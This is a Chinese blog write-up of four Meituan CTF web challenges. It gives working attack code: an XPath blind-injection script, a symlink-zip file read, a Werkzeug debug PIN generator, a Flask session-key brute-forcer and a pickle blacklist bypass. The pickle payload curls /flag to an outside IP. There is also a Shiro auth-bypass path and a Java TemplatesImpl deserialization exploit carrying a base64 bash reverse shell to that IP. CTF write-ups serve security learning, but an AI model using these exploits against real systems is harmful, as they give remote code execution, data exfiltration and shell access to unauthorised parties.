MTCTF

MTCTF

趁大佬去打xctf,摸一把美团

babyjava

xpath注入:https://xz.aliyun.com/t/7791
根据文章进行注入即可。得到节点

/root/user/username

username第二个值即为flag。盲注脚本:

import requests
url = 'http://eci-2ze379us24j7whul5wz7.cloudeci1.ichunqiu.com:8888/hello'
# files = {"file": "123"}
# data = {"PHP_SESSION_UPLOAD_PROGRESS": "123"}
# cookies = {"PHPSESSID": "123"}
result = ''
i = 1
charset = list('0123456789zxcvbnmasdfghjklqwertyuiopQWERTYUIOPASDFGHJKLZXCVBNM_-{}')
while (1):
    left = 32
    right = 128
    for j in charset:
        payload = {
            "xpath": "'or substring(/root/user/username[position()=2], {}, 1)='{}' or ''='1".format(i, j),
            }
        res = requests.post(url=url, data=payload).text
        # print(payload)
        if 'available' not in res:
            result += j
            print(result)
            i += 1
            break
        if j == '}':
            exit(1)
# print('[*]Result ' + result)
#root/user/username

OnlineUnzip

经典web解压题,去年深育杯考过
很像的,软连接就OK
直接软连接根目录

ln -s / test19
zip --symlinks test19.zip

./test19e就能读取整个目录了。然后如果软连接的文件没有权限,如/root,就会报500。
然后就是经典的debug pin码
这个有个点是这题用的machine-id而不是boot-id,其实是个竞争的关系,先获取到谁就用谁。
*CTF的脚本直接用

import hashlib
from itertools import chain
# probably_public_bits = [
#     'root',# username
#     'flask.app',# modname
#     'Flask',# getattr(app, '__name__', getattr(app.__class__, '__name__'))
#     '/usr/local/lib/python3.5/site-packages/flask/app.py' # getattr(mod, '__file__', None),
# ]
probably_public_bits = [
    'ctf'# /etc/passwd
    'flask.app',# 默认值
    'Flask',# 默认值
    '/usr/local/lib/python3.8/site-packages/flask/app.py' # 报错得到
]
private_bits = [
    '95530564636',# /sys/class/net/eth0/address 16进制转10进制
    #machine_id由三个合并(docker就后两个):1./etc/machine-id 2./proc/sys/kernel/random/boot_id 3./proc[表情]lf[表情]roup
    '96cec10d3d9307792745ec3b85c896203f1d8d9c4e564ca291f5b72cd6424326c961534aae7a3e053456b68563add01f'# /proc[表情]lf[表情]roup
]
h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
    if not bit:
        continue
    if isinstance(bit, str):
        bit = bit.encode("utf-8")
    h.update(bit)
h.update(b"cookiesalt")
cookie_name = f"__wzd{h.hexdigest()[:20]}"
# If we need to generate a pin we salt it a bit more so that we don't
# end up with the same value and generate out 9 digits
num = None
if num is None:
    h.update(b"pinsalt")
    num = f"{int(h.hexdigest(), 16):09d}"[:9]
# Format the pincode in groups of digits for easier remembering if
# we don't have a result yet.
rv = None
if rv is None:
    for group_size in 5, 4, 3:
        if len(num) % group_size == 0:
            rv = "-".join(
                num[x : x + group_size].rjust(group_size, "0")
                for x in range(0, len(num), group_size)
            )
            break
    else:
        rv = num
print(rv)

#106-268-216

然后就直接rce

easypickle

本来拿burpsuite爆破,2字节都能爆1h都没结果,直接完全交给学弟了。后来学弟说可以直接本地爆,改一下flask-session-manager脚本即可。我抄了一下:

import zlib

from flask.sessions import SecureCookieSessionInterface
from itsdangerous import base64_decode

class MockApp(object):

    def __init__(self, secret_key):
        self.secret_key = secret_key

payload = "eyJ1c2VyIjoibmRkaWQifQ.YyW4DQ.Kvx_fpyiJomEY84CYSPRoU0xYc0"
hexStr = list('0123456789abcdef')
for i in hexStr:
    for j in hexStr:
        for k in hexStr:
            for l in hexStr:
                try:
                    secret_key = i + j + k + l
                    app = MockApp(secret_key)
                    si = SecureCookieSessionInterface()
                    s = si.get_signing_serializer(app)
                    print(s.loads(payload))
                    print(secret_key)
                except Exception as e:
                    continue

然后秒出结果,毕竟就两字节。然后就是绕过pickle黑名单。学弟的思路:
由于它先替换os=>Os,所以直接拿o指令,在末尾加一个s,就能绕过检测,而且居然还能执行。我并不是很清楚其中的原理。我试过把最后一个o变大写,其他没改,好像没成功。所以直接rce了。可以拿pker工具生成pickle:1.txt

OBJ(GLOBAL('os', 'system'), 'curl http://47.96.173.116:2333/ -d @/flag')

然后再:

python3 pker.py < 1.txt

把base64解码在末尾加s即可。(当时比赛复现的并不是很成功,但是确实curl了,flag在./flag,但是反弹shell失败。。。)

easyjava

居然给我拿了一血。。。其实挺简单的,直接拿赛棍经验打XD
后来给提示需要/web路径。下载附件发现是shiro。直接用之前的shiro绕过鉴权(连鉴权代码都没看)。

/;/web/admin/hello

然后就是经典的反序列化了。有黑名单:

blackList.add("com.sun.org.apache.xalan.internal.xsltc.traxTemplatesImpl");
blackList.add("org.hibernate.tuple.component.PojoComponentTuplizer");
blackList.add("java.security.SignedObject");
blackList.add("com.sun.rowset.JdbcRowSetImpl");

奇怪的是第一个traxTemplatesImpl没咋见过(盲猜写错了?TrAXFilter+TemplatesImpl?),但是TemplatesImpl挺常见的,试着拿shiro的cb依赖直接打TemplatesImpl。本地直接通了。Exp.java

package com.butler.springboot14shiro;
import com.butler.springboot14shiro.Util.MyObjectInputStream;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.beanutils.BeanComparator;
import java.io.*;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.PriorityQueue;
public class Exp {
    public static void main(String[] args) throws Exception {
        ClassPool pool = ClassPool.getDefault();
        pool.insertClassPath(String.valueOf(AbstractTranslet.class));
        CtClass ctClass = pool.get(test.class.getName());
        ctClass.setSuperclass(pool.get(AbstractTranslet.class.getName()));
        String code = "{java.lang.Runtime.getRuntime().exec(\"bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC80Ny45Ni4xNzMuMTE2LzIzMzMgMD4mMQ==}|{base64,-d}|{bash,-i}\");}";
        ctClass.makeClassInitializer().insertAfter(code);
        ctClass.setName("evil");
        byte[] bytes = ctClass.toBytecode();
        TemplatesImpl ti = new TemplatesImpl();
        setField(ti, "_name", "asd");
        setField(ti, "_bytecodes", new byte[][]{bytes});
        setField(ti, "_tfactory", new TransformerFactoryImpl());
        BeanComparator comparator = new BeanComparator(null, String.CASE_INSENSITIVE_ORDER);
        PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
        queue.add("1");
        queue.add("2");
        Field field2 = comparator.getClass().getDeclaredField("property");
        field2.setAccessible(true);
        field2.set(comparator, "outputProperties");
        Field field = queue.getClass().getDeclaredField("queue");
        field.setAccessible(true);
        Object[] queryArray =  (Object[]) field.get(queue);
        queryArray[0] = ti;
        ByteArrayOutputStream bos = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(bos);
        oos.writeObject(queue);
        System.out.println(new String(Base64.getEncoder().encode(bos.toByteArray())));
        //InputStream inputStream = new ByteArrayInputStream(bos.toByteArray());
        //MyObjectInputStream myObjectInputStream = new MyObjectInputStream(inputStream);
        //myObjectInputStream.readObject();
    }
    public static void setField(Object obj, String name, Object value) throws NoSuchFieldException, IllegalAccessException {
        Field field = obj.getClass().getDeclaredField(name);
        field.setAccessible(true);
        field.set(obj, value);
    }
}

然后直接post data,即可反弹shell

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇